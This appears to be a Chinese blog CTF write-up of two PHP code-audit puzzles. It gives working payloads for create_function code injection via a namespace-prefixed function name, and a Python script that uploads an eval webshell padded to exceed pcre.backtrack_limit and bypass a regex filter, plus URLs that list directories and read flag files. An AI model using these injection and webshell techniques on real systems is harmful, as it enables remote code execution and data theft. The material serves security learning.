Code-Brea…
前言
考研考的不知道怎么样,没对也不想对答案。姑且是接了份渗透实习,第一次社会生活就要开始了么。。。
公司大佬据说会非常多,虽然只是实习但也不想拖人家后腿,进公司战队之后,我还想一雪前耻,堂堂正正地和强队们一决胜负呢。
果然还是很喜欢很喜欢CTF,最初的恢复和突破也想在这儿(其实业务渗透我自己也不好练习)。
11月中旬,虽然我没时间玩,但还是听说了P神知识星球的审计Puzzles。考研之前,为了激励自己,狠狠心把审计小密圈买了。考研之后,初步学习了一些trick之后,感觉P神他们真的是把代码审计玩出花儿来了。
加油~~~
easy_function
无题干,仅一URL,一代码而已。
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
给了两个参数,如果被正则匹配到,什么都不会发生,否则就让action的第二个参数为arg,意味着可能导致命令执行。
两个核心trick:
- action不能只由字母和数字组成。
- action应该是第二个参数容易被利用的函数。
遗憾的是,现在毕竟离开赛太久,在知识星球第一题整个被解析透了。感觉思考深。。。
第一个trick的解法:
命名空间问题,PHP里默认命名空间是\,调函数时候其实都是相对路径,绝对路径就是\funcion()
,加个%5c就是了。
第二个:
核心就在create_function函数第二个参数放$_GET['code']可以直接RCE。主要因为这函数本身执行就利用了闭合。所以我们自行闭合就可能引发注入。
此函数详细利用方式如是:http://blog.51cto.com/lovexm/1743442
不过,对于我这种菜鸡,还一个难点在于怎么读flag。。。
PHP为什么单单print就有这么多种。。。
师傅们的payload:
http://51.158.75.42:8087/action=\create_function&arg=2;}var_dump(glob(%27./../*%27));/*`
http://51.158.75.42:8087/action=\create_function&arg=2;}var_dump(file_get_contents(%27./../flag_h0w2execute_arb1trary_c0de%27));/*
http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(scandir('../'));/*
http://51.158.75.42:8087/?action=\create_function&arg=1;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*
easy_pcrewaf
因为之前师傅们的剧透,上一道题还有误以为自己能做出来的侥幸。这一道题就是一记重重的耳光了。
代码如是:
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
这道题来来回回审了好几遍,感觉我PHP就是一团糟。
首先就不明白is_php到底是干什么的,手册里也没查到,最终才发现是CodeIgniter的函数,判断PHP版本,这里应该是用为判断是否为PHP代码。
明白这一点之后,整个waf的思路就比较清晰了。正则匹配输入内容,不含有php代码则写入文件。绕过此waf则需突破此限制。
这trick打死我也没想出来。。。最终还是看了p神的讲解。居然是要利用正则回溯(图是p神自己blog的:
意思是,正则引擎分两种DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)就像学数据结构时不同教材所用的不同计算next数组方法。一种是从前往后逐步递增式的匹配,一种是从后往前逐步回溯。后者应用广泛,比如题干的pcre库即用此方式。于是乎,此题中核心trick出现--pcre.backtrack_limit
pcre为了防止正则无限回溯,设置此回溯次数限制。
默认回溯限制为100w,故而在100w个字符中插入shell即可绕过。
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa<?php eval($_GET[txt]);//' + b'a' * 1000000)
}
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
p神最初里面写的是POST,那样直接post数据读回显即可,我一开始没想明白,给改成了GET,手动浏览器读的flag。
http://51.158.75.42:8088/data/6ac4277df9ec86d880f590df780f522b/6.php?txt=print_r(scandir('../../../'));
http://51.158.75.42:8088/data/6ac4277df9ec86d880f590df780f522b/6.php?txt=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));
这道题,无论是题干还是p神wp中出现的一些小细节均昭示其开发水平不逊色一般开发岗,嗯,有所启示。
未完待续
参考
https://t.zsxq.com/vRniiie P神的小密圈
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html P神blog
https://www.kingkk.com/2018/11/Code-Breaking-Puzzles-%E9%A2%98%E8%A7%A3-%E5%AD%A6%E4%B9%A0%E7%AF%87/ kingkk师傅
https://blog.csdn.net/fnmsd/article/details/84556522 fnmsd师傅
https://www.jianshu.com/p/748749d38fb8 theKingOfNight师傅